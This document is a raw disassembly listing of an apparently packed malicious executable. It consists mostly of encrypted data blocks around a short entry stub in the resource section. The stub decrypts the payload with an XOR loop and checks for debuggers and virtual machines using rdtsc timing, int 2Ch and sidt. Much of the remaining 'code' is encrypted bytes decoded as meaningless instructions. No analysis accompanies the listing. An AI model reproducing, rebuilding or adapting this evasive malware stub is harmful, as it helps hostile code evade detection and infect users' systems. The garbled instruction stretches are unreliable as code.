0A6F0E5BDh, 7BDD88D7h dd 4AB43AE5h, 373DB88Ah, 0F6E9B656h, 295865B9h, 0DEF6380Fh dd 0E584BE6Dh, 5083CABFh, 0FD3631ECh, 8CD03D0h, 7FACCA9Eh dd 1DE46027h, 4E46595Dh, 0A9BC2001h, 0A0D8B413h, 779B680Eh dd 0F81CFDCEh, 0ADE20F99h, 0C88E6857h, 0D4EE4B8Dh, 0F6E48431h dd 0F41A557Dh, 98067FBBh, 75004EB2h, 53C95AD1h, 0AF087780h dd 10F415B1h, 78C509B2h, 1E8E1D84h, 82196D0Eh, 0F460B77Ch dd 44583AE1h, 0DF3F821Bh, 0B51EF1DEh, 1C20A7FEh, 2FAED562h dd 0DC0F6E9Bh, 3F2D7940h, 19816E6Ch, 5CC84ED5h, 0CDFD5561h dd 85156D9h, 0C22F5DD0h, 90423510h, 98F48EBh, 235748A9h dd 3DDDE3F3h, 80483481h, 4AE2B27Ah, 0A7E8F0A4h, 3FD75FCBh dd 2551F034h, 69FE6020h, 61FB53C4h, 5B1A44ABh, 7DC2688Eh dd 64261FC4h, 0DF340916h, 0BB7D5A61h, 0E425FE62h, 4DBF5896h dd 0E2BB37Dh, 9E10FB26h, 8B126121h, 4827A66Eh, 0E071E6B7h dd 0BB2D31ACh, 78EFC1C0h, 0E5B8E0BBh, 310310E5h, 0CD33A1F2h dd 9543A69Ah, 9FCDBF6h, 0BE262C15h, 8DD2445Ch, 62894DE6h dd 11A4DE15h, 92753378h, 0A2EF55DAh, 0D718CDFCh, 0ECCCCD3Ah dd 25982E81h, 712A0996h, 0AB296C35h, 0B1F9D039h, 0DB80CD9Fh dd 244547C8h, 6BBD748Ch, 57F866DAh, 0A9A4B9B6h, 6687392Ch dd 4ECCA648h, 293485FBh, 19829186h, 0B5D35E75h, 363748E1h dd 822DDCD8h, 0F2F5A8E0h, 0A335D74Dh, 0A8D56E50h, 95754B67h dd 2E83441Ch, 4ABFB37h, 9C49648Fh, 57C36E60h, 7D37BDECh dd 70753780h, 20531A27h, 7C8456A8h, 0D69CF903h, 0D173ACDCh dd 1121396Ch, 2484950Ah, 40441DB8h, 0BFDE9ED3h, 1C70F7D0h dd 6BD90B21h, 5DC11EF4h, 41731202h, 7731A025h, 0B6C6713Dh dd 47D4AFD3h, 0BCC97362h, 0CB6C544Dh, 1F27D86Ch, 61DF962h dd 0F04F3A47h, 0BA0E6769h, 170E61D3h, 220EC2C1h, 44EAA96Dh dd 0F3F1CF8Eh, 0A17F7FE5h, 8E70B6DEh, 3A22F1B7h, 0E31FB1C6h dd 36DCB5D1h, 4BB7BBFh, 0B793903Fh, 0F18681A7h, 3EBDA1A3h dd 7722F54Bh, 0E8FB849Eh, 0DF2EA59Ah, 82E39DB6h, 0C9DE314h dd 2A5140FAh, 0E251A1A6h, 0E351FC9h, 0AFBC11BBh, 0FBE0F9B0h dd 9926F637h, 3569009Dh, 0DB15733h, 1AF0A153h, 0B29FE1A9h dd 0E26AC82Bh, 0B1D49D09h, 569CE537h, 0D09CD056h, 2509298Dh dd 52179ADEh, 0DC69498Ah, 335FFACFh, 56AC2689h, 27C30B4Dh dd 401EE7F6h, 838A189Bh, 8B439F19h, 0AD45AAC9h, 35EA0CEh dd 0FE457F9Ah, 0CE9B269Ah, 0B34CC4ECh, 96E8EBD6h, 27D08DE4h dd 6F30494Ah, 71AAA686h, 0FCCD443Ch, 24B23ACBh, 0FF3C7D09h dd 444A3BFFh, 0A580DC59h, 60319BB1h, 0F21EECC9h, 790F583Eh dd 6A3FA181h, 7D8D1FB2h, 135C87Dh, 0A27560A5h, 41D4DC81h dd 0DB2DDAB9h, 6A7BE2F0h, 8E606795h, 0FA70B72Ch, 30BC44Ah dd 0BC211186h, 0BEBF2004h, 4F556250h, 71792B7h, 35DA8EF6h dd 0E4A856E6h, 94FDF094h, 0A34A1F15h, 0E2EC6ED4h, 0E605F9Ah dd 2447569Dh, 7D679401h, 35552EFAh, 0A02AD98Fh, 4B6DFE36h dd 5BDEF0C7h, 0E19D2468h, 0A88B1164h, 0ED3A8C10h, 2F6D133Fh dd 0ACCC5F46h, 1615314Ch, 5A4094D8h, 893147C2h, 0CCECC46Fh dd 0EBC5BAC4h, 0A1E627A3h, 0D7D2F11Dh, 80309101h, 4C2463B8h dd 0F30FF139h, 0C8193DDEh, 0E9D6331Bh, 0A1FD48D4h, 6EC2B502h dd 6846B43Ah, 3223885Fh, 47DCF10Eh, 415CAD90h, 52FB9389h dd 4F917D4h, 0B8A004F1h, 4A730ACFh, 0D3C4564Fh, 0DEE4B0B1h dd 4C96C2C2h, 0FB6C418Fh, 0E81F2338h, 227FF5F9h, 0CC7BDA12h dd 88D7599Ah, 0BB1EB0B2h, 772879D0h, 0E8D33AEDh, 2C984829h dd 0C25D0CC1h, 0E0749C7Ch, 0CF490100h, 0B23F482Ch, 94C45B9Ah dd 720364F4h, 77926843h, 53801429h, 0FD85B4FEh, 0D4C60266h dd 0B21EA6DBh, 0E6608E25h, 0D3CC9DA7h, 0E5517701h, 0F925DB67h dd 35B51752h, 0FFC23579h, 5C33B60Fh, 0A5B887F7h, 0A0C25BEh dd 0BF77A7E9h, 0F53C2E25h, 0C994FEB8h, 0C1C79317h, 0AD8433A6h dd 9F2B53B7h, 0F8225CA6h, 22730798h, 0D2856BEBh, 770419EFh dd 77C0B3CFh, 16EDB488h, 0F1FA690Eh, 3AA05BD7h, 2D6E1E87h dd 61C16CF8h, 4FE37A13h, 0E4208761h, 758699B9h, 611C2E4Ch dd 95C86039h, 0DE05FCDh, 1136E626h, 0C93B5B31h, 3C8E9697h dd 542EB73Fh, 37EBA5F6h, 0BE679973h, 4459AAC9h, 59BF3A5Dh dd 91EFC14Ch, 902CF0A0h, 574FD60Dh, 0C15E3C0Fh, 8281C60Fh dd 0E2A929CFh, 0D0C84881h, 3E962829h, 1F5AF59Ah, 18285380h dd 0D51020C3h, 4C61AC49h, 287B4C39h, 69D9413Eh, 76948CDEh dd 4E1C33E2h, 77179E53h, 702B145Eh, 8B84E51Eh, 0CD5E31BDh dd 702DE2C6h, 0D11DCC9Dh, 0DB01B389h, 15F8BDC6h, 0B4765892h dd 44A5B412h, 276601D2h, 43E9058Fh, 3D59975Dh, 0F3520660h dd 0C15F28D1h, 348D5E64h, 79CFFDF4h, 5324CDDFh, 278AA859h dd 6B356E49h, 11105E68h, 8015FF15h, 3D0E7620h, 0C142E33Ch dd 1594377Bh, 700E7802h, 1DB10841h, 1571ABC5h, 0B2C61DCh dd 64743675h, 332B42CAh, 7E1BCF6Fh, 0C854A01Fh, 1071C6AFh dd 0BCC7CA03h, 5BB85DCh, 0DE72151Dh, 4B2DBFF2h, 87141D1h dd 36EB00E8h, 6D7FC270h, 1D1DC14Ah, 0C043D925h, 3046B5DFh dd 1DAB9B4Fh, 44D8E6DAh, 0AA43C2D6h, 6EBA4B27h, 0CB0D5506h dd 2F6434FDh, 1F9A4B71h, 0F701B0F8h, 252C47B7h, 0AF37A337h dd 0C1D4D83Bh, 801C8F83h, 794C4025h, 2C95EE9Fh, 1ED299Dh dd 8AEEF2A3h, 664C83D6h, 980E2D5Ch, 1EEA959h, 0E3B4140h dd 366C7A55h, 0A74681A1h, 0B83F2894h, 6086A370h, 1E1B8692h dd 0F5D9C2E5h, 0A1887B2Bh, 12721D89h, 94070A60h, 6E4A76B2h dd 0F0881FFDh, 4433256Dh, 0C180D98Fh, 8255EA78h, 9906049h dd 77F53072h, 625F6D35h, 0ACD9883Fh, 80ABC1A9h, 936029E3h dd 0D6ABFE27h, 696D2A99h, 0FA127D8Eh, 8A8878F1h, 0F64F95Ah dd 50231D0Dh, 0D56D9A9Fh, 0CF1A972Ch, 432B52BCh, 6C3F6964h dd 6F71814Eh, 0CEBCFCFCh, 28329E9Ch, 0FF19D2E3h, 0DFCFFB36h dd 79B3F808h, 3DC90D62h, 0D39C857Ch, 0D6C3B835h, 1D6AADDh dd 0C8D723A8h, 25CBF66Bh, 10928CFAh, 570A97A1h, 0FABEFF32h dd 5403E779h, 4909034h, 0CFB242F2h, 0E18C5254h, 76587ABFh dd 0AE4E747Bh, 0FDA624EEh, 0C9A6DC07h, 0DDD2D9E1h, 0C47E96CFh dd 2C74FA50h, 0BBD0474Ch, 0D583EBADh, 216B4796h, 0A8F95D5Eh dd 50CF025Ah, 708C4E54h dd 7C4DA947h, 0A7A78633h, 24E14290h, 0C7DD05B9h, 2B960966h dd 70BA4CB8h, 0CB4CE5D9h, 137D31FDh, 5AEDC05Ch, 896EE20Ah dd 97E8B142h, 54AC6E12h, 9FABC98Dh, 0E5E0EC91h, 7B73AB79h dd 53180B2Bh, 0F2375EEh, 42C917C8h, 470A20EDh, 2E4224h dd 24AA6AE6h, 0EF7B8F4Dh, 5D558A9Eh, 9A45CBD5h, 0B501E613h dd 71594960h, 7C8EAD1Ah, 0B68E65B4h, 86380E2h, 0ACB5739Fh dd 0A299CAF7h, 821B4F5h, 0F206E00Dh, 748A1C8h, 14CB6F64h dd 7D7FB6DAh, 13EDEBCFh, 5D22F611h, 6F2652C9h, 0D2031E2Bh dd 9B3C8B4Ch, 26DF6A25h, 5EBA0C1h, 9D43A999h, 0AED6886Dh dd 0C4B10FA5h, 0E4C93B4Dh, 0EC25FDD4h, 2A46F2DEh, 52EA3299h dd 0AFA6F908h, 24AB954Dh, 3661AA1h, 0B9D68AFFh, 0B069AB28h dd 0C4EF6401h, 5A9F2EABh, 3BE32AACh, 12FE11A1h, 2E022E52h dd 4ADA7359h, 7A09B858h, 42B39860h, 154B7025h, 3C02D704h dd 4CE36887h, 41EEEAC2h, 0F7987360h, 2D37688Ah, 16FDAB08h dd 0FF8B771h, 40264447h, 0B16F783Ch, 266B46DEh, 0ED965A20h dd 84A94F91h, 0ADD865DEh, 24DE3BF2h, 48DE368h, 5AC57BA5h dd 4B466B3Ah, 0A1A37968h, 186C65BCh, 16949D00h, 1AB5A442h dd 96E2A61Bh, 152DE212h, 6ABF4AF6h, 21F8943Fh, 2EDD4F9Ch dd 0DAEC3754h, 0B4908103h, 0B4E1B392h, 0DB0917F3h, 0D480192Bh dd 38AF870Bh, 0B1CB05F8h, 0B105DCC9h, 0F106C63Dh, 59135A1Eh dd 0F283AB64h, 331053B3h, 2A478AB0h, 0A7BCC035h, 71C9E745h dd 37D2C429h, 639AEC39h, 2218F6F2h, 0CFCB65E8h, 0B90357AEh dd 92983707h, 13BA8068h, 7A50AA1Ch, 0F5D8AD3Ah, 9E6F3E4Ch dd 7DE59846h, 125C11E7h, 0DC87EEAFh, 0A536E9F0h, 708AF197h dd 0F4DC60DAh, 9DCEBF94h, 0D3402BF5h, 52F93C83h, 930D9DF3h dd 0A35C1D70h, 0CE547535h, 0F0140D29h, 660AFCBCh, 0F9A13C44h dd 2E4D58A1h, 6D256D9Eh, 8AB18C76h, 0D33F559Eh, 9E491074h dd 0B08C4B79h, 15BDBB3Eh, 0A79E4B8h, 0D6ECA45Bh, 8BD830F3h dd 90DDFE83h, 0B729752Fh, 7F123CABh, 0D2DEE87Ch, 8242C41h dd 0DB630840h, 1F187060h, 0CE98C7DDh, 0B093241Ah, 90CF338h dd 54DA6EE8h, 0E5DFE2EAh, 8A84A9A6h, 57A0189Dh, 9E1B0F34h dd 7EC1AFF0h, 0F8D0DC57h, 0F7A16434h, 0C27E1377h, 0CE2F2541h dd 3BE39358h, 83929403h, 7F866DA8h, 7B12FDC9h, 49163AF9h dd 0C6FB2EBFh, 0CA238711h, 7A4233F5h, 0FADA086Bh, 949ACFFh dd 59143A87h, 0E1238578h, 0AA3B34BFh, 60D08D4Ah, 0D92D8104h dd 4F13F99h, 0F9759827h, 0E7C6CCF6h, 166FFBEFh, 981D1FEFh dd 861C697Ah, 70D7C190h, 82B454E8h, 8F3D1154h, 0A2AFAD4h dd 45324A67h, 6295DA07h, 10DE8E58h, 53C478B9h, 6CF1CE07h dd 0DB179247h, 187C318Ch, 66A1B5FDh, 5CD620Ah, 0FE41EC80h dd 6CB3AA51h, 0B00D225h, 43AF3819h, 4794F49Fh, 1D172DDBh dd 342AD7BFh, 1B009E64h, 675FFE24h, 3C7D5474h, 0FC1F8918h dd 8B639FC5h, 0A6596729h, 330FFF59h, 4797F93Dh, 0DB4BAD76h dd 76FDBB75h, 0E154A20Ah, 827F0734h, 0BCB89142h, 9419A71Ch dd 1F58E0A6h, 0A49880CDh, 7FA4C568h, 0FC4CA9B6h, 2015C7E2h dd 722D6316h, 0B44006BAh, 0A7284265h, 3AAC56E7h, 2564D97Dh dd 62B50CD8h, 0ED3F0A32h, 28BC321Bh, 0BA6FBA8Bh, 87C60E68h dd 0A88167B8h, 0ECC798Eh, 1EE7A3ADh, 133A5EBCh, 0BDDC5198h dd 0DCC808DCh, 0F30B1102h, 17192144h, 9DF9025Dh, 16D501F7h dd 0AB054795h, 52C1897Fh, 86C80E5Dh, 0A310C363h, 5DDC8F53h dd 0E2DCE958h, 0D4853D0Bh, 0CF3534D9h, 0FB9C9646h, 76B6A2C9h dd 0A8B1D597h, 5A0B1371h, 3DF014E5h, 1A40098Dh, 6CEAEB7Ch dd 5A3235E3h, 0DBAD3233h, 1877173Eh, 0E27E3E7Bh, 971A1D74h dd 572F9C4Bh, 0C2843FB1h, 0BBF50E3Ah, 460BDB44h, 7C402D88h dd 28C4729Eh, 0C177952Ch, 45F46620h, 1437413Eh, 0D21359D2h dd 2E0746CEh, 8B289020h, 2CA80B76h, 0DD2EC590h, 16BE1DB1h dd 7D7CF910h, 1894F5DAh, 9B6D7BDBh, 3C8C6915h, 48DDB0EAh dd 7B7C69B4h, 3EEA2BCFh, 1A23F404h, 0DBF1DDB5h, 0FDEA5705h dd 0A048FBC0h, 8A5CCF0Ah, 0CC75122Dh, 87B6320Eh, 6A654F67h dd 0CFFAFF0Ah, 9E1067D2h, 49F91B2Bh, 0FFC532D2h, 8B83B306h dd 7A2CB97Fh, 52171A85h, 0C4E6B86Bh, 7BFDCE64h, 0CC38448h dd 0FB12BA1Bh, 4A0EB14Bh, 8C3F1E1Dh, 0D92CAF7Ah, 9E62BFFBh dd 685F055Ah, 5CC17D12h, 95543F01h, 239CA9E5h, 0E0D0CBA8h dd 0F1AD74D5h, 0EF5CEA2h, 16E3B94Bh, 75AECE73h, 0CC7E24D9h dd 244F165Ah, 8905A829h, 0B94280B5h, 2050A2Ch, 8F4FD01Fh dd 690E40F4h, 0FA597E19h, 546F6A80h, 0F21A8E00h, 27686E07h dd 0F4910A57h, 76048390h, 0BD8583C5h, 0B54BBE26h, 68C19DA3h dd 0C8F5EAC3h, 0CE9053FCh, 5E28F64Ah, 5BE4C95Bh, 9E9FB281h dd 0BCEF45EEh, 0A6048FA1h, 3E474E9Dh, 84C9ABAEh, 69CD81E0h dd 656725Bh, 0A8A0518Ch, 0AA157167h, 0D583E915h, 5B13327Fh dd 34488A26h, 0E7014671h, 9B75B255h, 74A93E8Ch, 0A4075C2Dh dd 1FE906C9h, 681208Fh, 0CC3A2FD1h, 0B017939Bh, 94DE4730h dd 0D305A22h, 1100DB3Fh, 98B148DAh, 3769D2DBh, 0E89399ECh dd 38B449Bh, 0DD3780C7h, 2B3EB489h, 0CAA32B01h, 2A45DCDh dd 3B6C2A36h, 56775A92h, 0D7908EFBh, 0A1E4F765h, 57C3C345h dd 0D9D0BB0Bh, 183F085Dh, 4634B753h, 0E93F655Bh, 0C524FAEEh dd 654C7447h, 204382E1h, 76B3BE79h, 3C01D8CBh, 28474C96h dd 0F288512Fh, 1F1E2C49h, 3AF34F0Ah, 0D970BB7Ah, 602413DAh dd 0B9AD06F1h, 8875A7E7h, 0FE7C0A55h, 0C7487E62h, 600A30Ah dd 209D157Dh, 0CB95ECF9h, 0E1074104h, 0A026409Dh, 0D73EE2E8h dd 0E3C455BDh, 0AF584749h, 358F1149h, 2492965Fh, 5846AE5Eh dd 0AF3089B4h, 1FE88EF2h, 0B7075E4h, 0F3865841h, 3E387255h dd 43B03BB0h, 9EF83F29h, 0BFD31768h, 0E48CF61h, 0B3B38B34h dd 0A3E5821h, 41BA76B7h, 6F21CF2Fh, 9CD2BAE5h, 0DCDBF863h dd 4C2FAF53h, 440B990Dh, 9B82E6A2h, 5A65EDA8h, 5B6644B4h dd 80FA7D01h, 0A23C7693h, 570D2D15h, 23625908h, 0E5DEE5ABh dd 0F7B438CDh, 0BE8EFAB4h, 6A57D5D7h, 832372AFh, 0ABA366C6h dd 4EE14076h, 1CB5CD42h, 0F6671B0Bh, 0D7E50501h, 5ACF319Dh dd 0BD6C1BBAh, 0E857764Ah, 6048C5DBh, 241156h, 1815D769h dd 7FF61Eh, 55D01390h, 0FEED732Ah, 0EB851AB5h, 5A5DA45Bh dd 92C112B4h, 75F54CF8h, 6D2F6C83h, 295AED3Ch, 0F55A0E24h dd 881DBCD9h, 0D0513DFCh, 0D70E1A9Dh, 861650D0h, 3E8D271Ch dd 6CEB2E2Dh, 761FF76h, 785B30B4h, 0E73686C8h, 4C3927Ch dd 34EED1B2h, 75665B53h, 0D60BACA5h, 4F623A1Bh, 2E8F683Ch dd 0B49C599Bh, 52869A42h, 7908B908h, 99B0F82Ah, 0F052916Ch dd 8F0E7720h, 2D3E89C0h, 40DA9C0Fh, 2EFF4134h, 3C649986h dd 3E04C346h, 0EE40204Ch, 948C07F3h, 0D5F03F35h, 3D1A9693h dd 5581E340h, 6BA76903h, 92210050h, 49436072h, 4139707h dd 0D225F2F2h, 0FA90A528h, 0C542C30Ah, 0E8AF0F08h, 0EEAFA0A5h dd 643F56F0h, 0BCF3CFD0h, 317BA6DCh, 0C362E3E4h, 230BF9C3h dd 63A57748h, 501F3608h, 0D284C095h, 0C60B236h, 53C8BAFBh dd 4B174A07h, 6A0C94F9h, 5C31DF79h, 0CFC29E2Ah, 5C7FE51h dd 0CC206AAAh, 3D0D2854h, 117B7EA9h, 0F2AD7A37h, 6C0E5D73h dd 39C6237Ah, 1C6A1F63h dd 968961DCh, 9F7B6BD5h, 0BD54C3CFh, 21B0248h, 6B12074Dh dd 0C451AA6h, 96667D59h, 0FF73C96Ch, 1B5B83BFh, 6A3BACE3h dd 0E6B1CFDCh, 56ADBAAh, 0C04F2A79h, 73F95E18h, 0E561ED91h dd 0F0CACEC7h, 0CE74A82Ch, 0E669B0C9h, 0EC5E60EEh, 8319426Ah dd 75F0B317h, 3F737CD5h, 4C13F35Fh, 0DD58BA20h, 69DFA99Dh dd 9D502929h, 307D63Fh, 0F7FA72E7h, 83E54999h, 0D7C1539Fh dd 0C425DECEh, 42DCA26Ch, 0CCA7DAD8h, 5F227449h, 85BB83CCh dd 2647EDD4h, 678FE72Fh, 7080C943h, 8CB0E938h, 0A3740413h dd 0C406A8ADh, 1817BAC4h, 3C6C812Fh, 948E3DA6h, 36F3F03h dd 827DA4D2h, 48E41275h, 0E74D7437h, 467A6B5Ch, 782E56D6h dd 8A6A030Eh, 7F5A45E7h, 8D85F745h, 25599AB2h, 0C81837h dd 0A1FDCE2Eh, 26D82EF2h, 46F6282Fh, 2BE46C61h, 78EC0E4Dh dd 0A3464356h, 0D016E7C3h, 3ADDC951h, 0FA1BA6E9h, 0CBE7097h dd 0D5D59D5Eh, 0EF24BF78h, 0ED8119CEh, 98D1569Ch, 560679BBh dd 8B6A6B1Bh, 894A8F69h, 0C1BA2DFFh, 0E4D8BDAFh, 0A391FEDFh dd 78B3DCEh, 0A4C97C7Bh, 0D1C7A722h, 0C320D0C1h, 0C3AC4BF1h dd 7C4CA3A8h, 0E36DD45h, 0EC1A3655h, 218737CEh, 57A25D9Bh dd 0EC0AA0EEh, 0FE9BA4Bh, 86F62D33h, 0FAED01FFh, 6E4DC540h dd 8C848C2h, 0DD46FD82h, 339FBF00h, 164864A3h, 2FE19047h dd 331DDFABh, 8E2A817Ah, 0D172581h, 523CF3CFh, 3B3E528Fh dd 0DEB3B60Bh, 0D3493E57h, 0A7E479B6h, 98368DFDh, 0B316D880h dd 0EEAEE01Ch, 52149B46h, 1BF58BA2h, 0FEB43923h, 485C0B53h dd 3F09FF65h, 0FECC0F5Eh, 0B34BF6F1h, 540D75B2h, 5890986Ch dd 0A7B64EECh, 64020418h, 0ECA934C2h, 0D24799ECh, 888D3107h dd 23255852h, 0DE8AFB6h, 43591746h, 9BEBCC05h, 0FC352872h dd 609B0A91h, 0D1C97B53h, 0E9D76A3Fh, 0F2E72DDEh, 0D06402BEh dd 0E8EA3759h, 7B200AEEh, 70EC1352h, 6FFA102Ch, 5118B501h dd 33DADBADh, 9B840FEAh, 90554DF7h, 2F13EAFh, 0ACD9F2CFh dd 0B184CC87h, 4EDCF9B6h, 3368F4CDh, 96C004D7h, 9685B1F1h dd 0E9944137h, 0CE8CEEF8h, 7F137149h, 0E32FE73Bh, 6451BE8Ch dd 0DC44CCC8h, 22F08BF3h, 0FED27C16h, 5BFB44ACh, 0CC51B0DAh dd 34E0E4D4h, 0DEBD1709h, 25375C86h, 5DD88273h, 0ECF8D110h dd 89CEA789h, 57C75F8Ch, 20E4F0B3h, 7DAA06FAh, 27FC4DF9h dd 378B4020h, 323765EEh, 91180681h, 0CE6289CFh, 9B1B1490h dd 9183E0A9h, 0DD3A3D6Eh, 85FAA4E1h, 533F0F7h, 21598425h dd 73EA97CCh, 0F535B876h, 28B5B13h, 256C5BCBh, 0EB1D2F9Ch dd 8B866F09h, 60C09574h, 0E1E35FFDh, 40739D22h, 9DBF66A3h dd 42D06585h, 0C531EA90h, 4A474E4Ch, 9B05BBDBh, 7A6C386Ch dd 80521E73h, 451E48DDh, 4BF2B2F9h, 0D2C65D18h, 0BFE51454h dd 4B27BB49h, 368E52Ah, 167E114h, 0D16F7A35h, 986F441Ah dd 5C8D0FD3h, 12AA9F9Fh, 0E74FB0B7h, 64EFD5C1h, 20F1D8B4h dd 29BE272Ah, 0A71335CAh, 52E596DDh, 5EA86E7Eh, 0CC1150Eh dd 74680EEDh, 13D1E41Fh, 7F81163Ah, 30CB9491h, 7DAAFB1h dd 152A1098h, 0A422884Ah, 0ADDCF044h, 0A37043D2h, 0E95E5927h dd 6160BC24h, 9DEC1623h, 0F2740AB5h, 219E7E00h, 0D4583789h dd 25892467h, 3DB4EFF2h, 50A1BACFh, 0C00F464Ch, 59800B9Ah dd 0DC4B14D6h, 20ED654Dh, 5091B553h, 41504D02h assume ds:CODE ; =============== S U B R O U T I N E ======================================= public start start proc near cld call loc_41042E start endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_410406 proc near ; CODE XREF: .rsrc:0041047Dp push ebx mov ecx, 0DA5h mov ebx, edx loc_41040E: ; CODE XREF: sub_410406+13j xor [eax], dx lea eax, [eax+2] xchg dl, dh lea edx, [ebx+edx] loop loc_41040E pop ebx retn sub_410406 endp ; --------------------------------------------------------------------------- db 2Dh, 0FAh ; --------------------------------------------------------------------------- loc_41041F: ; CODE XREF: .rsrc:00410468j pop ebp retn ; --------------------------------------------------------------------------- loc_410421: ; CODE XREF: .rsrc:loc_410436j ; .rsrc:00410447j push ebp mov eax, 8000h xor ecx, ecx jmp short loc_410455 ; =============== S U B R O U T I N E ======================================= sub_41042B proc near ; CODE XREF: .rsrc:0041044Ap ; .rsrc:00410450p rdtsc retn sub_41042B endp ; --------------------------------------------------------------------------- loc_41042E: ; CODE XREF: start+1p test eax, eax jnz short loc_41043A int 2Ch ; Internal routine for MSDOS (IRET) test eax, eax loc_410436: ; CODE XREF: .rsrc:0041049Cj jns short loc_410421 jmp short loc_410449 ; --------------------------------------------------------------------------- loc_41043A: ; CODE XREF: .rsrc:00410430j push eax loc_41043B: ; CODE XREF: .rsrc:004104A5j sidt fword ptr [esp-2] pop eax mov eax, [eax+6] loc_410444: ; CODE XREF: .rsrc:0041048Aj shl eax, 10h jns short loc_410421 loc_410449: ; CODE XREF: .rsrc:00410438j push ebp call sub_41042B xchg eax, ecx call sub_41042B loc_410455: ; CODE XREF: .rsrc:00410429j sub eax, ecx mov ebp, [esp+4] sub dword ptr [esp+4], 0D17Ah ; CODE XREF: .rsrc:00410493j sub eax, 100h jnb short loc_41041F sub ebp, 301006h lea eax, [ebp+301082h] mov dx, [eax-65h] call sub_410406 mov dl, 0ACh jz short loc_4104F8 sub edi, ecx lodsb jl short loc_410444 mov cl, [ecx-2F58113Bh] nop loop near ptr loc_41045B+5 inc ebp sbb bh, [ebp+0E18EBFAh] jecxz short loc_410436 add esi, [eax] mov dl, 6Eh jg short loc_4104EF in eax, dx jnz short loc_41043B ror ebp, 1 nop ; --------------------------------------------------------------------------- dw 0F33Eh dd 5BDFFE8Eh, 0D37F5778h, 9C6B9EFBh, 0FD5A5141h, 1A9015BFh dd 445F8C8Ch, 0E64CBE96h, 0A7944AE5h, 0ECE6EBB1h, 97314A7h dd 0B650BCCCh, 588B53B6h, 0BD7C285h, 0D2AACDE0h, 0A172A196h dd 524FA89h db 70h, 0DDh, 99h ; --------------------------------------------------------------------------- loc_4104EF: ; CODE XREF: .rsrc:004104A2j xchg eax, esp iret ; --------------------------------------------------------------------------- pushf pop ebp loc_4104F3: ; CODE XREF: .rsrc:00410509j jz short loc_410566 cwde nop ; --------------------------------------------------------------------------- db 6Bh ; --------------------------------------------------------------------------- loc_4104F8: ; CODE XREF: .rsrc:00410485j cwde xchg eax, edi xchg esp, eax fcmovu st, st(7) lahf fsub qword ptr [ebx+7A8F7793h] dec esp cmp bl, [ebx-36h] loop loc_4104F3 stosb lea esi, [eax-48h] push esi imul ecx, [esi-15558251h], -46h retf ; --------------------------------------------------------------------------- dd 0AAB5B5A2h, 96489396h db 20h ; --------------------------------------------------------------------------- loc_410521: ; CODE XREF: .rsrc:0041057Bj dec esp mov bl, 0CCh into retn ; --------------------------------------------------------------------------- dw 6ABEh dd 4A726D5Eh, 0AC19491h, 5E6CB47Ch, 8EF01D1Dh, 2EE29FF4h dd 0ECDB3102h, 5065DD56h, 0DF2F7F80h, 0A1E3B3DFh, 0B45F4ECEh dd 0F021C4E0h, 2C9B99Eh, 69704374h, 77EAEFADh, 5BF91A2h ; --------------------------------------------------------------------------- or al, 61h loc_410566: ; CODE XREF: .rsrc:loc_4104F3j into and eax, 52h mov ecx, 34371D68h xor esi, esp mov ds:657DC0E6h, eax and cl, 59h loc_410579: ; CODE XREF: .rsrc:00410582j xchg eax, esp scasd jnb short loc_410521 mov ds:0FB761E8Fh, eax loop loc_410579 lock repne imul esi, edi, 70h sbb [ecx+5D6C5C81h], edi cmp esp, [edi-30h] aam 70h jno short near ptr loc_410596+3 loc_410596: ; CODE XREF: .rsrc:00410594j mov bl, [esi+eax*4-10CA944Bh] leave cmp eax, ebx out dx, al add esi, [edx+69391E5Ah] db 26h push ebx lodsb adc eax, 0A74A5660h mov ch, 49h mov esi, 0C81C1FC1h cmc retn 0A864h ; --------------------------------------------------------------------------- dw 8008h dd 79871457h, 306B2E3Eh, 7473E0ECh, 0D2D18CBCh, 0C7E0B3D3h dd 0A49225DAh, 792F322Eh, 64D325E9h, 0DD7E5153h, 61A5CDFAh dd 77479FAEh, 0BFFBD37Ch, 0E7F76CECh, 83422504h, 578C1AEh dd 0A3359062h, 0A35B096Bh, 0A2B44D3Bh, 5F5C18E4h, 0CA36506Ah dd 0AAFFD427h, 582CC7B2h, 38BE328Bh, 97C99FF4h, 5C653CC3h dd 6617DAC1h, 0CCBA32D6h, 319EBD36h, 301A6060h, 0E9B5ED87h dd 28DBAAAEh, 0D102D5BDh, 19BC03FDh, 9A51140Eh, 9DFC448Ch dd 79F7271h, 94AEC99Ah, 0D1EDC4C1h, 0EFFC26E8h, 5A3D6547h dd 3063375Fh, 0B91FA25Eh, 17B1B4AEh, 0A6D9ABA6h, 0E61E472Ch dd 0F0CEF9CAh, 0F54E2122h, 43754AE3h, 89C56F1Ah, 6EC9FC9Dh dd 88C6D42Bh, 23E00FE5h, 2B3CB18Eh, 21603304h, 5585D7DFh dd 7CA86982h, 0F79BA8A9h, 0CAB08394h, 0DE3E6308h, 0ACC61E2Fh dd 404252F8h, 0DA14A55Eh, 8EF0BFEDh, 5D74B70Ah, 0DD0EE326h dd 289FB489h, 245D3001h, 52860EDCh, 42EF57Fh, 5FD2958Ah dd 4276CDBDh, 0EF10D8CDh, 3D71A69Dh, 0C2904273h, 0E399696Ah dd 8BBD92ABh, 9E753233h, 0AAF4DEEFh, 87B68906h, 0A95A1D05h dd 7FAAD2E8h, 7657847Ch, 8648ADA3h, 4FF6C9C8h, 0DC317174h dd 1235E719h, 11E1BACFh, 0DC126657h, 888AA603h, 0AFE14B4Ah dd 0D6F45CD3h, 73BB0304h, 256807AEh, 3D804BB1h, 0E923F678h dd 1BCD908Bh, 0F1DF5D7Ah, 0E9E411EEh, 0CBC41916h, 0DF6A3D3Ch dd 5E916582h, 0A9473606h, 6354B282h, 0DF0D9B3h, 782A71FEh dd 623C2AC9h, 232AA94Ch, 0FDBC1D76h, 0A7DE0928h, 0BEEE7CC4h dd 0E294ECEBh, 0F2BEEA5Eh, 0B9C35DC5h, 5B8F2F65h, 29D08988h dd 2D9F722h, 0B7A833E4h, 72D01C55h, 48534CF2h, 477A2D19h dd 6ECBB8FFh, 95A25F10h, 0BCEFC2AAh, 0B55683E1h, 5B307B43h dd 1EECADC7h, 0DAD45F6Fh, 0D4DBC642h, 2CDAADCDh, 4401BE00h dd 9D2C9130h, 4C524924h, 111F4A21h, 69E7112h, 6CAFC999h dd 37794090h, 0BD13D6CBh, 6C48B56h, 306308B2h, 573CD15Dh dd 0C7B0B394h, 0A5D7A2BEh, 690D3E59h, 0E4251578h, 9EC02011h dd 4244534Eh, 0FC168E90h, 90F28CC4h, 0F67C43EFh, 3710D3C8h dd 6380B1Ah, 46305D7Fh, 26D6292Fh, 17C4F6E8h, 0F4B1C0CDh dd 